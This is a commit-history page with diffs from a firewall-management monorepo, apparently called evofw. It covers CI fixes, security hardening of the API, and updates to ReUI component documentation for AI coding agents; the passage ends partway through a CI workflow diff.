8 Commits
Author SHA1 Message Date
Denozordec a0f0bff65a fix(ci): typecheck через turbo с зависимостью ^build
quality / commitlint (push) Skipped
quality / changes (push) Successful in 7s
quality / docker-check (push) Skipped
quality / openapi (push) Successful in 26s
quality / web (push) Successful in 46s
quality / api (push) Successful in 46s
CD / quality (push) Successful in 2m10s
CD / publish (push) Successful in 11m37s
tsc в apps/api резолвит @evofw/db и @evofw/shared через dist/*.d.ts —
прямой запуск до сборки падает с Cannot find module. Задача typecheck
добавлена в turbo.json с dependsOn ^build; CI запускает её через turbo
2026-09-20 20:45:34 +07:00
Denozordec 75661f7443 fix(ci): полный fetch в changes-job для мульти-коммитных пушей
quality / commitlint (push) Skipped
quality / changes (push) Successful in 7s
quality / docker-check (push) Skipped
quality / openapi (push) Successful in 52s
quality / web (push) Successful in 55s
quality / api (push) Failing after 32s
CD / quality (push) Failing after 2m32s
CD / publish (push) Skipped
push с несколькими коммитами: before_sha лежит глубже fetch-depth:2 и
git diff падает bad object. Теперь checkout с полной историей; плюс
защитный fallback на HEAD~1, если before_sha не резолвится
2026-09-20 20:31:13 +07:00
Denozordec 15b5cce8cc chore(ci): request-id, RBAC stats, web-тесты и гигиена CI
quality / commitlint (push) Skipped
quality / changes (push) Failing after 8s
quality / openapi (push) Skipped
quality / web (push) Skipped
quality / api (push) Skipped
CD / quality (push) Failing after 9s
quality / docker-check (push) Skipped
CD / publish (push) Skipped
- genReqId (uuid) + x-request-id в каждом ответе и request_id в error
  envelope — корреляция ошибок между клиентом и логами
- RBAC: /agents/:id/(stats|blocked-ips|blocked-ports) классифицируются
  как fw:stats:read (reset остаётся под fw:agents:write)
- web: test-скрипт + 10 unit-тестов (filter-utils, fleet-kpis, parseClaims, nav)
- typecheck-скрипты для api/shared/db; CI: тесты shared и web, typecheck
  всех пакетов
- гигиена: .node-version (22), актуальный .dockerignore, drizzle out →
  ./migrations, удалены 12 лишних .gitkeep и пустой apps/api/test
2026-09-20 20:08:14 +07:00
Denozordec 3dc8e6d5e2 refactor(web): общие форматтеры, единая навигация, RBAC-гейтинг и чистка мёртвого кода
- lib/format.ts: ru-RU форматтеры дат/чисел в одном месте — убраны дубли
  из 8 компонентов (agent-card, fleet-grid, blocked-ips/ports, facts,
  lifecycle, host-firewall, lists-columns, system-monitor)
- lib/nav.ts: единый конфиг маршрутов — sidebar, ⌘K-поиск и breadcrumbs
  рендерятся из одного источника (было 3 расходящихся копии)
- lib/permissions.ts + useCan: клиентский RBAC — кнопки создания/подтверждения
  скрываются без fw:*:write/admin (сервер остаётся авторитетным)
- удалён мёртвый код ~2500 строк: stepper, data-grid dnd/virtual/visibility
  варианты, settings-shell
2026-09-20 19:36:37 +07:00
Denozordec 7a3f1fad25 perf(api): ретенция статистики, устранение N+1 и пагинация списков
- retention: ежедневный cron (03:17) + запуск на старте удаляет сырые
  agent_stats_samples старше STATS_RETENTION_DAYS (по умолчанию 30);
  lifetime-итоги на агенте и агрегаты сохраняются
- N+1 на поллинг-пути агента: evaluateAgentPolicy теперь делает по одному
  батч-запросу на записи списков / резолвы hostname / имена списков вместо
  запроса на каждое правило; mapPolicyRules и port-rules GET — аналогично
- пагинация: GET /agents, /lists, /rules, /install-links принимают
  limit/offset и возвращают total; без параметров — прежнее поведение
- openapi.yaml: approve-bulk, PUT /policy-sets/{id}/agents, параметры
  пагинации (redocly lint OK); тесты (47 passed)
2026-09-20 19:20:30 +07:00
Denozordec 454c5009d1 fix(web): error/404 экраны, сплит бандла и bulk-мутации
- RouteErrorComponent/RouteNotFoundComponent на root-маршруте (RU-копирайт,
  retry + переход на главную; redirect в портал не мигает ошибкой)
- settings: форма инициализируется один раз — фоновый refetch больше не
  затирает ввод пользователя
- code splitting: autoCodeSplitting роутов + manualChunks (react/router/query/
  charts/dnd); вход ~507KB вместо единого чанка 1.57MB, recharts (330KB) грузится
  лениво; версия recharts в packages/ui выровнена с apps/web (3.8.0)
- bulk-эндпоинты: POST /agents/approve-bulk и PUT /policy-sets/:id/agents —
  назначение набора агентам одним запросом вместо N×(GET+PUT)
- оптимистичные обновления с rollback: approve, approve-bulk, удаление агента,
  переключение набора
- тесты bulk-операций (45 passed)
2026-09-20 19:12:58 +07:00
Denozordec 40030ce06c fix(api): fail-safe прод-старт, транзакции и санитизация install-скриптов
- прод-режим отказывается стартовать без AUTH_REQUIRED и реальных секретов
  (opt-out через EVOFW_ALLOW_UNSAFE)
- CORS: whitelist через CORS_ORIGINS вместо origin:true; CSP для раздаваемого SPA
- транзакции для setAgentPolicySets, reorderPolicyRules, replaceResolvedForRule,
  replaceIpListEntries
- install-скрипты: Zod-валидация имени ссылки, экранирование $ и контрольных
  символов в RouterOS-рендере
- constant-time сравнение enroll-seed
- опциональное шифрование токена EvoBGP в БД (EVOFW_SECRET_KEY, AES-256-GCM)
  и маскирование per-list api_token в ответах
- graceful shutdown (SIGTERM/SIGINT) + тесты
2026-09-20 18:51:47 +07:00
DenozordecandCursor 45812fef6a chore(reui): обновить ReUI agent skill до актуальной версии
quality / commitlint (push) Skipped
quality / changes (push) Successful in 5s
quality / openapi (push) Skipped
quality / web (push) Skipped
quality / api (push) Skipped
quality / docker-check (push) Skipped
CD / quality (push) Successful in 7s
CD / publish (push) Successful in 35s
Co-authored-by: Cursor <[email protected]>
2026-08-19 20:03:55 +07:00
105 changed files with 2143 additions and 2516 deletions
+1 -1
View File
@@ -5,7 +5,7 @@ user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
---
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents
+48 -10
View File
@@ -1,6 +1,6 @@
# ReUI components
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
@@ -106,22 +106,60 @@ Common mistakes:
## filters
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
**Shape:**
```tsx
const [filters, setFilters] = useState<Filter[]>([
createFilter("priority", "is_any_of", ["low"]),
])
const fields: FilterFieldConfig[] = [
{ key: "priority", label: "Priority", type: "multiselect",
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
const fields: FilterField[] = [
{ id: "title", label: "Title", type: "text" },
{
id: "status",
label: "Status",
type: "select",
options: [
{ value: "active", label: "Active" },
{ value: "archived", label: "Archived" },
],
},
]
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
<Filters filters={filters} fields={fields} onChange={setFilters} />
<Filters fields={fields} query={query} onQueryChange={setQuery} />
```
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
## cascader
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
**Shape:**
```tsx
<Cascader items={items} value={value} onValueChange={setValue}>
<CascaderTrigger render={<Button variant="outline" />}>
<CascaderValue placeholder="Select an attribute" />
</CascaderTrigger>
<CascaderContent className="w-80">
<CascaderPanel>
<CascaderNav>
<CascaderBreadcrumb />
<CascaderInput />
</CascaderNav>
<CascaderEmpty />
<CascaderList maxHeight={288}>
<CascaderItems />
</CascaderList>
<CascaderStatus />
</CascaderPanel>
</CascaderContent>
</Cascader>
```
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
## date-selector
+1 -1
View File
@@ -5,7 +5,7 @@ user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
---
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents
+48 -10
View File
@@ -1,6 +1,6 @@
# ReUI components
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
@@ -106,22 +106,60 @@ Common mistakes:
## filters
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
**Shape:**
```tsx
const [filters, setFilters] = useState<Filter[]>([
createFilter("priority", "is_any_of", ["low"]),
])
const fields: FilterFieldConfig[] = [
{ key: "priority", label: "Priority", type: "multiselect",
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
const fields: FilterField[] = [
{ id: "title", label: "Title", type: "text" },
{
id: "status",
label: "Status",
type: "select",
options: [
{ value: "active", label: "Active" },
{ value: "archived", label: "Archived" },
],
},
]
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
<Filters filters={filters} fields={fields} onChange={setFilters} />
<Filters fields={fields} query={query} onQueryChange={setQuery} />
```
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
## cascader
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
**Shape:**
```tsx
<Cascader items={items} value={value} onValueChange={setValue}>
<CascaderTrigger render={<Button variant="outline" />}>
<CascaderValue placeholder="Select an attribute" />
</CascaderTrigger>
<CascaderContent className="w-80">
<CascaderPanel>
<CascaderNav>
<CascaderBreadcrumb />
<CascaderInput />
</CascaderNav>
<CascaderEmpty />
<CascaderList maxHeight={288}>
<CascaderItems />
</CascaderList>
<CascaderStatus />
</CascaderPanel>
</CascaderContent>
</Cascader>
```
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
## date-selector
+4 -4
View File
@@ -6,18 +6,18 @@ alwaysApply: false
---
name: reui
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
---
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
@@ -64,7 +64,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
+1 -1
View File
@@ -5,7 +5,7 @@ user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
---
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents
+48 -10
View File
@@ -1,6 +1,6 @@
# ReUI components
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
@@ -106,22 +106,60 @@ Common mistakes:
## filters
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
**Shape:**
```tsx
const [filters, setFilters] = useState<Filter[]>([
createFilter("priority", "is_any_of", ["low"]),
])
const fields: FilterFieldConfig[] = [
{ key: "priority", label: "Priority", type: "multiselect",
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
const fields: FilterField[] = [
{ id: "title", label: "Title", type: "text" },
{
id: "status",
label: "Status",
type: "select",
options: [
{ value: "active", label: "Active" },
{ value: "archived", label: "Archived" },
],
},
]
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
<Filters filters={filters} fields={fields} onChange={setFilters} />
<Filters fields={fields} query={query} onQueryChange={setQuery} />
```
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
## cascader
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
**Shape:**
```tsx
<Cascader items={items} value={value} onValueChange={setValue}>
<CascaderTrigger render={<Button variant="outline" />}>
<CascaderValue placeholder="Select an attribute" />
</CascaderTrigger>
<CascaderContent className="w-80">
<CascaderPanel>
<CascaderNav>
<CascaderBreadcrumb />
<CascaderInput />
</CascaderNav>
<CascaderEmpty />
<CascaderList maxHeight={288}>
<CascaderItems />
</CascaderList>
<CascaderStatus />
</CascaderPanel>
</CascaderContent>
</Cascader>
```
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
## date-selector
-2
View File
@@ -21,7 +21,6 @@ node_modules
**/node_modules
**/dist
apps/web/src/routeTree.gen.ts
apps/web/playwright-report
apps/web/test-results
*.md
@@ -30,7 +29,6 @@ CONTRIBUTING.md
LICENSE
docs
.pre-commit-config.yaml
.releaserc.json
.commitlintrc.*
commitlint.config.cjs
+9
View File
@@ -24,3 +24,12 @@ REUI_LICENSE_KEY=
# Server
SERVER_PORT=8080
# Security hardening (prod)
# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true
# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов.
# EVOFW_ALLOW_UNSAFE=false
# Разрешённые CORS-origins через запятую; пусто = только same-origin
# CORS_ORIGINS=https://fw.example.com
# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования
# EVOFW_SECRET_KEY=
+15 -3
View File
@@ -46,7 +46,9 @@ jobs:
- if: ${{ inputs.is_pull_request == false }}
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
fetch-depth: 2
# Full history: before_sha may be many commits behind the new tip
# (multi-commit pushes) and must exist locally for git diff.
fetch-depth: 0
- id: detect
name: Detect changed paths per module
env:
@@ -80,7 +82,14 @@ jobs:
else
after="${HEAD_SHA:-$(git rev-parse HEAD)}"
before="$BEFORE_SHA"
# Guard: a stale/unresolvable before_sha must not fail the pipeline.
if [ -n "$before" ] && [ "$before" != "0000000000000000000000000000000000000000" ]; then
if ! git cat-file -e "$before^{commit}" 2>/dev/null; then
echo "::warning::before_sha $before not resolvable, falling back to HEAD~1"
before=""
fi
fi
if [ -n "$before" ]; then
FILES="$(git diff --name-only "$before" "$after")"
elif git rev-parse --verify HEAD~1 >/dev/null 2>&1; then
FILES="$(git diff --name-only HEAD~1 HEAD)"
@@ -221,6 +230,7 @@ jobs:
set -euxo pipefail
sh scripts/ci/pnpm-ci.sh
pnpm --filter @evofw/web run typecheck
pnpm --filter @evofw/web run test
pnpm --filter @evofw/web run build
api:
@@ -251,13 +261,15 @@ jobs:
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
restore-keys: |
pnpm-${{ runner.os }}-
- name: pnpm install, test, build
- name: pnpm install, typecheck, test, build
env:
